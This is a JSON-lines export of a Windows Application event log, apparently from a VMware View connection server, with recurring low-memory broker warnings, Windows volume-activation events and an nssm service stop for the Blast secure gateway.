{"@timestamp":1654237152161,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168834}}
{"@timestamp":1654268715422,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Fri Jun 03 17:05:15 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168835}}
{"@timestamp":1654301605207,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168836}}
{"@timestamp":1654311919408,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Sat Jun 04 05:05:19 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168837}}
{"@timestamp":1654355123762,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Sat Jun 04 17:05:23 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168838}}
{"@timestamp":1654363598064,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168839}}
{"@timestamp":1654398327518,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Sun Jun 05 05:05:27 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168840}}
{"@timestamp":1654424390642,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168841}}
{"@timestamp":1654441531550,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Sun Jun 05 17:05:31 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168842}}
{"@timestamp":1654484735577,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Mon Jun 06 05:05:35 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168843}}
{"@timestamp":1654488963932,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168844}}
{"@timestamp":1654527939594,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Mon Jun 06 17:05:39 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168845}}
{"@timestamp":1654548736576,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168846}}
{"@timestamp":1654571143675,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Tue Jun 07 05:05:43 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168847}}
{"@timestamp":1654611209402,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168848}}
{"@timestamp":1654614347155,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Tue Jun 07 17:05:47 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168849}}
{"@timestamp":1654657551806,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Wed Jun 08 05:05:51 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168850}}
{"@timestamp":1654673742185,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168851}}
{"@timestamp":1654700755830,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Wed Jun 08 17:05:55 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168852}}
{"@timestamp":1654702027271,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8230,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Security-SPP-Action-StateData (REG_SZ) =AppId=55c92734-d682-4d71-983e-d6ec3f16059f;GraceEndDate=2022/11/28:15:27:07;LastConsumptionReason=0x4004f040;LastNotificationId=VolumeRenewalRequired;LicenseState=SL_LICENSING_STATUS_LICENSED;PartialProductKey=8XDDG;ProductKeyType=Volume:GVLK;SkuId=21c56779-b449-4d20-adfc-eece0e1ad74b;ruleId=502ff3ba-669a-4674-bbb1-601f34a3b968;uxDifferentiator=ENVIRONMENT;volumeActivationOrder=normal"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168853}}
{"@timestamp":1654702028527,"ecs":{"version":"8.4"},"event":{"activity":null,"code":12288,"custom_data":{"EventData":{"Binary":"000006005543E30D9B29E3D568D02FE00901489D6A0CA4F5D52B912152962DA26A8D4D1207AD970F2FF22CA0178E20A0D740B9F72FB8B397045AB6E994D5E7AFAF3EF53CFA44CB8D46F7C862FD5C900B906FCFE42854EB14D94017CFD05F18C817C0FCC3EBC6718A0F86E365D327BE14B69AF891AFC4BAADED3072124404A95F94C338B15F31EFF49A9D7EEB9C89386009040BDA0FC3E6501AEE5BC934C00DB9518DBDE2CB9FD44E6A1E98B0315D969754233D6A87D1233829D0142AC2539C4BE951F740F9802FC1B5F5BA2ED0C8E55E793933927C29142CD5A6D2E24941ABE2EAEA1C2EC22811CB91DB15662DE8127DC05C2727A2108014F02B9E2807A8A6BE102B6237","Data":{"#text":["0x00000000, 0x00000000, eng-infrasrv101.engineering-ac.de:1688, 66fdcf75-989c-462d-9cda-ff5474d65922, 2022/06/08 15:27, 0, 1, 249120, 21c56779-b449-4d20-adfc-eece0e1ad74b, 5"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168854}}
{"@timestamp":1654702028667,"ecs":{"version":"8.4"},"event":{"activity":null,"code":12289,"custom_data":{"EventData":{"Binary":"00000600DBBD4DF9C56A883052B2D16190ADBF9B5FE75B326111E32DAE5362D7FA7DB11F13EC58FB769C13CB38FA870A4B21F5005D1F32C7CD6709716FB0A4D7FF20FED4772D9732B081A163F5B717FEB733CECBC140AB02A706E4C19A15E57A021B6B624442869B8DEAD7B535C25E172195C1FE1072EFC980DC53E865F555E95867DF2137E374AB5A6E305F9166BFCCADC2D07D073777F9BFF714ED67CE1405B270DD8178814696E0071876B23571D94CA47D7248443BB696EB3B6006FA3D2F2D498741BF0E839D5F87EF300A222E261F335E4605055D85B85C75A0C076F3F5D6F642BF649465FA48696D579C601CC21526077B25B72296ABD9CA6576F21CFDD7E23CF2","Data":{"#text":["0x00000000, 0x00000000, 1, 0, 50, 120, 10080, 2022/06/08 15:27"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168855}}
{"@timestamp":1654702028799,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["ACLUIFileFolderTool-IsSecurityUIEnabled","100"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168856}}
{"@timestamp":1654702028801,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Security-SPP-IgnoreDeferredActivation","500"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168857}}
{"@timestamp":1654702028803,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1033,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["(Security-SPP-Reserved-EnableNotificationMode) ","55c92734-d682-4d71-983e-d6ec3f16059f","21c56779-b449-4d20-adfc-eece0e1ad74b"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168858}}
{"@timestamp":1654702028879,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1003,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["55c92734-d682-4d71-983e-d6ec3f16059f","\n1: 21c56779-b449-4d20-adfc-eece0e1ad74b, 1, 1 [(0 [0x00000000, 1, 0], [(?)( 1 0x00000000)(?)( 2 0x00000000 0 0 msft:rm/algorithm/volume/1.0 0x4004F040 259200)(?)(?)( 10 0x00000000 msft:rm/algorithm/flags/1.0)(?)])(1 )(2 )(3 )]\n2: 22105925-48c3-4ff4-a294-f654bb27e390, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n3: 2e7a9ad1-a849-4b56-babe-17d5a29fe4b4, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n4: 3c006fa7-3b03-45a4-93da-63ddc1bdce11, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n5: 3c2da9a5-1c6e-45d1-855f-fdbef536676f, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n6: 562634bb-b8d8-43eb-8325-bf63a42c4174, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n7: 58448dfb-6ac0-4e06-b491-07f2b657b268, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n8: 661f7658-7035-4b4c-9f35-010682943ec2, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n9: 942efa8f-516f-46d8-8541-b1ee1bce08c6, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n10: 9db83b52-9904-4326-8957-ebe6feedf37c, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n11: a43f7b89-8023-413a-9f58-b8aec2c04d00, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n12: cbf3499f-848e-488b-a165-ac6d7e27439d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n13: d6992aac-29e7-452a-bf10-bbfb8ccabe59, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n14: d839f159-1128-480b-94b6-77fa9943a16a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n15: e73aabfa-12bc-4705-b551-2dd076bebc7d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n16: fea51083-1906-44ed-9072-86af9be7ab9a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n\n"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168859}}
{"@timestamp":1654702028973,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1003,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["55c92734-d682-4d71-983e-d6ec3f16059f","\n1: 21c56779-b449-4d20-adfc-eece0e1ad74b, 1, 1 [(0 [0x00000000, 1, 0], [(?)( 1 0x00000000)(?)( 2 0x00000000 0 0 msft:rm/algorithm/volume/1.0 0x4004F040 259200)(?)(?)( 10 0x00000000 msft:rm/algorithm/flags/1.0)(?)])(1 )(2 )(3 )]\n2: 22105925-48c3-4ff4-a294-f654bb27e390, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n3: 2e7a9ad1-a849-4b56-babe-17d5a29fe4b4, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n4: 3c006fa7-3b03-45a4-93da-63ddc1bdce11, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n5: 3c2da9a5-1c6e-45d1-855f-fdbef536676f, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n6: 562634bb-b8d8-43eb-8325-bf63a42c4174, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n7: 58448dfb-6ac0-4e06-b491-07f2b657b268, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n8: 661f7658-7035-4b4c-9f35-010682943ec2, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n9: 942efa8f-516f-46d8-8541-b1ee1bce08c6, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n10: 9db83b52-9904-4326-8957-ebe6feedf37c, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n11: a43f7b89-8023-413a-9f58-b8aec2c04d00, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n12: cbf3499f-848e-488b-a165-ac6d7e27439d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n13: d6992aac-29e7-452a-bf10-bbfb8ccabe59, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n14: d839f159-1128-480b-94b6-77fa9943a16a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n15: e73aabfa-12bc-4705-b551-2dd076bebc7d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n16: fea51083-1906-44ed-9072-86af9be7ab9a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n\n"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168860}}
{"@timestamp":1654702028996,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8197,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["RuleId=502ff3ba-669a-4674-bbb1-601f34a3b968;Action=AutoActivateSilent;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=21c56779-b449-4d20-adfc-eece0e1ad74b;NotificationInterval=1440;Trigger=TimerEvent"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168861}}
{"@timestamp":1654702029246,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8230,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Security-SPP-Action-StateData (REG_SZ) =AppId=55c92734-d682-4d71-983e-d6ec3f16059f;GraceEndDate=2022/12/05:15:27:09;LastConsumptionReason=0x4004f040;LastNotificationId=Cleanup;LicenseState=SL_LICENSING_STATUS_LICENSED;PartialProductKey=8XDDG;ProductKeyType=Volume:GVLK;SkuId=21c56779-b449-4d20-adfc-eece0e1ad74b;ruleId=379cccfb-d4e0-48fe-b0f2-0136097be147;uxDifferentiator=ENVIRONMENT;volumeActivationOrder=normal"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168862}}
{"@timestamp":1654702029274,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8197,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["RuleId=379cccfb-d4e0-48fe-b0f2-0136097be147;Action=CleanupState;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=21c56779-b449-4d20-adfc-eece0e1ad74b;Trigger=TimerEvent"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168863}}
{"@timestamp":1654702059318,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-06-15T15:26:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168864}}
{"@timestamp":1654731653830,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168865}}
{"@timestamp":1654743959857,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Thu Jun 09 05:05:59 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168866}}
{"@timestamp":1654787163868,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Thu Jun 09 17:06:03 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168867}}
{"@timestamp":1654794486760,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168868}}
{"@timestamp":1654830367898,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Fri Jun 10 05:06:07 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168869}}
{"@timestamp":1654855699813,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168870}}
{"@timestamp":1654873572011,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Fri Jun 10 17:06:12 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168871}}
{"@timestamp":1654916775921,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Sat Jun 11 05:06:15 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168872}}
{"@timestamp":1654917932661,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168873}}
{"@timestamp":1654959980133,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Sat Jun 11 17:06:20 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168874}}
{"@timestamp":1654979985439,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168875}}
{"@timestamp":1655003184161,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Sun Jun 12 05:06:24 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168876}}
{"@timestamp":1655038677286,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168877}}
{"@timestamp":1655046388204,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Sun Jun 12 17:06:28 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168878}}
{"@timestamp":1655060403347,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1040,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","STOP"]}}},"module":"Application","provider":"nssm","sequence":168879}}
{"@timestamp":1655060403347,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1011,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":168880}}
{"@timestamp":1655060405378,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","4252","3221225786"]}}},"module":"Application","provider":"nssm","sequence":168881}}
{"@timestamp":1655060405378,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["4252","4252","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":168882}}
